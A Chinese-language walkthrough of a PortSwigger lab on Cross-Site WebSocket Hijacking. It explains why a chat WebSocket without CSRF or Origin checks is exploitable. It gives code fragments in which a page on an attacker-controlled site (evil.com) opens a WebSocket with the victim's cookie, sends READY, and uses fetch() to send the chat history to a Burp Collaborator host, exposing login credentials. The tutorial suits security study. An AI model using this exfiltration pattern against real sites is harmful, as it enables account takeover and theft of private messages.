WebSocket 跨站劫持（CSWSH）漏洞原理与 PortSwigger Lab 实战

在开始实战前向大家推荐一个比较好用的插件这一关可以用到具体作用是实时更换session和查询第一步进入 Live chat发送一条消息Click Live chat and send a chat message.为什么因为你需要先知道WebSocket到底是怎么通信的。普通 HTTP浏览器 │ GET /login │ 服务器WebSocket浏览器 WebSocket 服务器Burp 只有在真正建立 WebSocket 后才能看到所有发送的数据。所以这里发送一句hello不是为了攻击而是为了让 Burp 抓到 WebSocket 流量。第二步刷新页面Reload the page.为什么刷新很多聊天程序都有这个逻辑第一次进入聊天 ↓ 建立WebSocket ↓ 向服务器说 READY意思就是我已经连接好了把以前聊天记录发给我。如果你不刷新Burp可能根本看不到READY这个命令。第三步观察 READYObserve that the READY command retrieves past chat messages.Burp里会看到Client ↓ READY然后服务器Server ↓ {message:hello} ↓ {message:welcome} ↓ {message:password is ...}这里其实是在分析协议。你需要知道服务器到底接受什么命令。否则后面不知道发什么。所以这一步实际上是在回答怎样才能让服务器把聊天记录发出来答案READY第四步找到 WebSocket HandshakeHTTP history → Handshake很多初学者这里疑惑WebSocket不是WebSocket吗为什么去HTTP History因为WebSocket最开始就是HTTP。例如GET /chat HTTP/1.1 Upgrade: websocket Connection: Upgrade Cookiesession...服务器101 Switching Protocols以后才变成真正WebSocket。所以Handshake一定在HTTP里面。第五步观察没有 CSRF Token题目说Observe no CSRF token为什么要看因为如果有GET /chat csrfabc123攻击者网站evil.com根本不知道abc123连接就建立不了。所以没有CSRF↓攻击网站也能连。第六步复制 URLhttps://lab/chat复制出来。为什么因为JavaScript必须知道WebSocket连哪里。例如new WebSocket(...)里面必须填目标地址。所以复制https://xxx/chat改成wss://xxx/chat因为HTTPS ↓ WebSocket ↓ WSS在代码中我们也能找到对应的url在后续的js中使用第七步去 Exploit Server为什么不用自己电脑因为攻击必须来自另外一个网站否则不是Cross Site。攻击流程应该是受害者 ↓ 访问 evil.com ↓ evil.com JS ↓ 连接 shop.comPortSwigger给你的Exploit Server就是evil.com攻击者页面Attacker Page就是攻击者自己控制的一个网页上面放着恶意 JavaScript。在PortSwigger的实验里这个页面就是Exploit Server。攻击者页面就是攻击者控制的网页。在这个实验中它就是 PortSwigger 提供的 Exploit Server。受害者一旦访问这个页面浏览器就会执行其中的恶意 JavaScript这些脚本利用受害者浏览器中已有的登录状态Cookie去连接目标网站的 WebSocket从而读取并窃取受害者的聊天记录。第八步写 JavaScriptvar wsnew WebSocket(...);为什么因为攻击网站必须自己建立WebSocket。注意这里不是偷已有连接。而是攻击网站 ↓ 重新建立一条新的WebSocket很多人第一次都会误会。实际上浏览器允许一个网页 建立 多个WebSocket。在刚才我们已经知道了url的网址 后续我们得用collaborator获取用户的聊天记录所以需要我们去burp中新开一个collaborator并复制其url在后续的js中使用Burp Collaborator 的作用是接收被窃取的数据Out-of-Band 数据接收它相当于攻击者控制的一台服务器。第九步为什么浏览器会自动带 Cookie这是整个漏洞核心。JSnew WebSocket(...)浏览器实际发送GET /chat Cookiesessionabc123Cookie自动发送。不是JS自己加的。所以服务器认为Cookie正确 ↓ 就是本人实际上Cookie是本人 但是 JS不是本人写的。所以发生身份混淆。第十步为什么发送 READY代码ws.send(READY);为什么因为连接建立以后服务器不会主动发聊天记录。必须告诉服务器READY就像客户端 我要聊天记录。服务器好的。如果不发READY服务器可能什么都不会返回。所以这是为了主动触发数据返回。第十一步为什么 onmessagews.onmessagefunction(event){}作用监听服务器返回。例如服务器{message:hello}浏览器event.data就是{message:hello}没有这个你收到的数据根本处理不了。第十二步为什么 fetch这是整个攻击最后一步。服务器聊天记录现在已经到了event.data但是攻击者还不知道。必须event.data ↓ 发送给攻击者服务器所以fetch( https://collaborator, { body:event.data } )就是偷到的数据 ↓ POST ↓ Burp Collaborator这一步叫Exfiltration数据外传第十三步为什么 View Exploit点击View Exploit其实就是你自己打开evil.com目的测试。看看JS ↓ WebSocket ↓ READY ↓ fetch有没有问题。如果Collaborator收到聊天记录说明攻击成功。拿到聊天记录后就能登入账户了第十四步为什么 Deliver Exploit这是很多人最容易忽略的一步。前面View Exploit攻击的是自己。因为浏览器Cookie你的Cookie真正实验目标Victim所以Deliver以后Victim ↓ 打开evil.com ↓ JS运行 ↓ 自动带Victim Cookie ↓ READY ↓ 聊天记录 ↓ Collaborator这样偷到的才是Victim聊天记录。第十五步为什么聊天记录里会有密码实验故意设计管理员聊天usernamecarlos password123456或者login: wiener password: peter攻击者Collaborator ↓ 收到JSON ↓ 看到账号密码于是登录Login ↓ 实验完成。整个实验的攻击链把所有步骤串起来其实就是下面这条完整的攻击流程① Burp 抓包 │ ▼ 分析 WebSocket 协议 │ ▼ 发现 READY 可以获取聊天记录 │ ▼ 找到 Handshake │ ▼ 发现没有 CSRF Token / Origin 校验 │ ▼ 编写恶意 JS │ ▼ new WebSocket() 建立连接 │ ▼ 浏览器自动携带 Victim 的 Session Cookie │ ▼ 发送 READY │ ▼ 服务器返回历史聊天记录 │ ▼ onmessage 接收数据 │ ▼ fetch() 将数据发送到 Burp Collaborator │ ▼ 攻击者获得 Victim 的聊天记录 │ ▼ 从聊天记录中提取用户名和密码 │ ▼ 登录 Victim 账户实验完成